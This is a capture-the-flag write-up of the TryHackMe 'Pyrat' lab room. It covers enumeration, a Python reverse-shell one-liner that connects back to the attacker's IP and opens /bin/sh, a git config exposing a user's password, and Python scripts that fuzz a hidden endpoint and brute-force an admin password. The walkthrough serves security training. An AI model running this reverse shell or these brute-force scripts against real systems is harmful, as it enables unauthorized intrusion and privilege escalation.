💻
TryHackMe Writeups
  • Dodge
  • Reset
  • Hack Smarter Security
  • Creative
  • CyberLens
  • Include
  • Airplane
  • mKingdom
  • Publisher
  • The London Bridge
  • Pyrat
  • Cheese CTF
Powered by GitBook
On this page
  • Enumeration
  • Exploitation & Foothold
  • Further Enumeration
  • Privilege Escalation
  • Alternate Approach To Finding The Special Endpoint (admin)

Pyrat

Test your enumeration skills on this boot-to-root machine.

PreviousThe London BridgeNextCheese CTF

Last updated 8 months ago

This work by Manav G Krishna is licensed under

Room's Description:

Machine IP: 10.10.192.46

Hosts file entry: echo '10.10.192.46 pyrat.thm' | sudo tee -a /etc/hosts

Nmap Scan:

nmap -p- -A -v --min-rate 100 -oN pyrat_thm -Pn pyrat.thm

Nmap scan report for pyrat.thm (10.10.192.46)
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open  http-alt SimpleHTTP/0.6 Python/3.11.2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop: 
|     source code string cannot contain null bytes
|   FourOhFourRequest, LPDString, SIPOptions: 
|     invalid syntax (<string>, line 1)
|   GetRequest: 
|     name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     name 'OPTIONS' is not defined
|   Help: 
|_    name 'HELP' is not defined
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.94SVN%I=7%D=10/3%Time=66FE3CBC%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20de
SF:fined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\
SF:x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<st
SF:ring>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cann
SF:ot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\
SF:x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x
SF:20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20strin
SF:g\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"s
SF:ource\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Hel
SF:p,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invali
SF:d\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\
SF:x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20
SF:code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,
SF:"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(J
SF:avaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20byt
SF:es\n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\
SF:x20bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x
SF:20null\x20bytes\n");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=10/3%OT=22%CT=1%CU=42699%PV=Y%DS=2%DC=T%G=Y%TM=66FE
OS:3D34%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=101%TI=Z%CI=Z%TS=A)OPS(O1
OS:=M508ST11NW6%O2=M508ST11NW6%O3=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST11NW
OS:6%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=
OS:Y%DF=Y%T=40%W=F507%O=M508NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%R
OS:D=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T4(R=Y%
OS:DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O
OS:=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40
OS:%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=O%A=Z%F=R%O=%RD=0%Q=)
OS:T7(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RU
OS:CK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 6.108 days (since Fri Sep 27 09:37:53 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 587/tcp)
HOP RTT       ADDRESS
1   193.28 ms 10.11.0.1
2   194.14 ms pyrat.thm (10.10.192.46)

The scan results show that we have two ports open, that is port 22 & 8000 .

Enumeration

Checking out port 8000:

The page tells us to try an even more basic connection. The only thing that comes to mind is either netcat or telnet. Port 23 ain't open on the machine, leaving us with just netcat.

We can now connect to the port via netcat, like so:

nc pyrat.thm 8000 -v

We are connected.

From the Nmap scan results, we notice that the version results for port 8000 says - SimpleHTTP/0.6 Python/3.11.2. This means it is a Python-based HTTP server. So our interaction with the netcat connection will highly likely be through Python.

To confirm the same we can execute a simple print command:

And indeed we get the output. This confirms that we are on a Python shell.

We can also try to find the exact Python version that could be running:

import sys
print(sys.version)

We are on 3.8.10. So the fingerprinting that Nmap did (3.11.2) wasn't accurate.

Now that we have tested enough stuff and have fully confirmed that we are having a Python interaction via the netcat connection, we can go ahead and try to run a Python reverse shell command to see what we are presented with.

Exploitation & Foothold

Python Reverse Shell:

import socket, subprocess, os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('10.11.75.84',4545)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(['/bin/sh','-i'])

The IP specified in the command is the tun0 interface IP.

Now, we can set up a netcat listener on our attacker machine and execute the above command.

And we get a connection as www-data.

Further Enumeration

Firstly we can proceed to upgrade the current shell a little.

Commands:

python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm

We land directly within the /root directory.

From the /etc/passwd file contents we have a user other than root having a console, that being - think:

Let us now start traversing other common directories hoping to find some good information. Moreover, the room's description says that we would be able to find some credentials within a well-known folder, it could be think's password!?

Good directories to look into:

/opt and /var.

Checking out /opt:

There is a .git directory. Having access to this folder can help us retrieve some code or sensitive data.

There is a file named config.

And we get the user think's password.

Now we can SSH in as think:

Command:

ssh think@pyrat.thm

We get the user flag in think's home directory:

Now let us get back to the .git folder within the /opt directory as we hadn't fully enumerated it before.

Instead of manually examining all those files under the .git directory, we can use Git commands to retrieve useful information.

We do have the git utility on the machine:

Commands:

git rev-list --count --all   //Displays the total number of commits
git log  //Displays the commit history
git show  //Displays details of the commit

We have only 1 commit.

The commit message says that a shell endpoint was added or it could mean the endpoint's name is shell. The description of the room talks about endpoints and shell might be an endpoint too.

This is the latest or the most recent commit (HEAD -> master). However, the file name pyrat.py.old suggests that it may be an older version of a script called pyrat.py.

Even though we don't have the full code, what it is mainly saying is this:

It allows a server to respond to commands received from us over a socket connection. The switch_case function checks the input given by us and decides what action to take. If the input is some_endpoint, it calls a specific function. If the input is shell, it gives us access to a command line shell on the server, to execute commands.

So we now know that we have an endpoint named shell. Even though the script might not be the latest code, we can still give it a try by passing this endpoint on the netcat shell to see if it still stands valid:

And it works. We get a shell as www-data. Now let us try to see what is up with that some_endpoint.

Passing in some_endpoint:

So this confirms that this is the special endpoint that we have to fuzz for as mentioned in the description of the room.

These lines:

if data == 'some_endpoint':
      get_this_enpoint(client_socket)

Says that there is some other endpoint that is present (1st line) and that endpoint is being used like so: get_[that endpoint] (2nd line).

We can now go ahead and fuzz out that so-called special endpoint via some simple Python scripting.

Privilege Escalation

Endpoint Fuzzing Script:

Firstly we have to fetch a wordlist:

I have named the wordlist file: endpoints.txt

import socket

def fuzz_endpoints(target_ip, target_port, wordlist):
    with open(wordlist, 'r') as file:
        endpoints = file.read().splitlines()

    for endpoint in endpoints:
        try:
            # Create a socket connection
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
                client_socket.connect((target_ip, target_port))
                
                # Send the endpoint
                client_socket.sendall(endpoint.encode() + b'\n')
                
                # Receive the response
                response = client_socket.recv(4096).decode()
                
                # Print the response
                print(f'Response for {endpoint}: {response}')

        except Exception as e:
            print(f'Error connecting to {target_ip}:{target_port} - {str(e)}')

if __name__ == "__main__":
    
    TARGET_IP = 'pyrat.thm'
    TARGET_PORT = 8000
    WORDLIST = 'endpoints.txt'  # Replace with your wordlist path

    fuzz_endpoints(TARGET_IP, TARGET_PORT, WORDLIST)

And we get a valid hit:

When admin was passed, the response from the server was - Password:

Passing the same:

So we now have found out that special endpoint, that being - admin.

Fuzzing for the password is what should be done at this point, admin password. It is safe to assume the same as the endpoint is named admin, so we have to find the admin's password which we aren't aware of yet.

Password Fuzzing Script:

For this, we would be using the rockyou.txt wordlist.

import socket

def fuzz_admin_passwords(target_ip, target_port, password_wordlist):
    admin_endpoint = "admin"
    
    with open(password_wordlist, 'r', errors='ignore') as file:
        passwords = file.read().splitlines()

    for password in passwords:
        try:
            
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
                client_socket.connect((target_ip, target_port))

                # Send the admin endpoint
                client_socket.sendall(f"{admin_endpoint}\n".encode())
                
                # Receive the response (for admin prompt)
                response = client_socket.recv(4096).decode()
                print(f'Response for {admin_endpoint}: {response}')

                # Send the password
                client_socket.sendall(f"{password}\n".encode())
                
                # Receive the response (for password attempt)
                response = client_socket.recv(4096).decode()
                
                # Print the response
                print(f'Trying password "{password}": {response}')

        except Exception as e:
            print(f'Error connecting to {target_ip}:{target_port} - {str(e)}')

if __name__ == "__main__":
    
    TARGET_IP = 'pyrat.thm'
    TARGET_PORT = 8000
    WORDLIST = '/usr/share/wordlists/rockyou.txt'

    fuzz_admin_passwords(TARGET_IP, TARGET_PORT, WORDLIST)

And we again get a hit:

The response from the server when the valid password was tried: Welcome Admin!!! Type "shell" to begin.

Now we can go ahead and enter the password:

We are now root.

The root flag can be fetched from the /root directory.

Room solved!!

Alternate Approach To Finding The Special Endpoint (admin)

This is something I overlooked when I initially completed the room, in the sense didn't put much thought into that aspect even though I saw it a lot many times on the machine. I will be diving straight into it without any story-building.

Checking out /var/mail:

The mail talks about a RAT that was downloaded by a person from a GitHub page that belongs to Jose.

And we had come across Jose's email ID a lot many times on the machine, a few instances being in the config file contents, in the output of the git log, git show commands, etc.

That email when searched led us to the GitHub account of the maker of this very room.

There is a repo called PyRAT in it:

This repo reveals the special endpoint which was admin:

The code too in the repo reveals the same and it is the same exact code that is running on this room as a cron job as root:

The code:

CC BY-NC 4.0
PyratTryHackMe
Room Link
Wordlist
SecLists/burp-parameter-names.txt at master · danielmiessler/SecListsGitHub
GitHub - josemlwdf/PyRAT: PyRAT is a powerful CTF (Capture The Flag) rootkit designed to be used in cybersecurity competitions and educational settings. It provides various capabilities for privilege escalation, and maintaining persistent access on compromised systems.GitHub
TryHackMe | gravereaper2038TryHackMe
Profile Link
Logo
Logo
Logo
Logo
Page cover image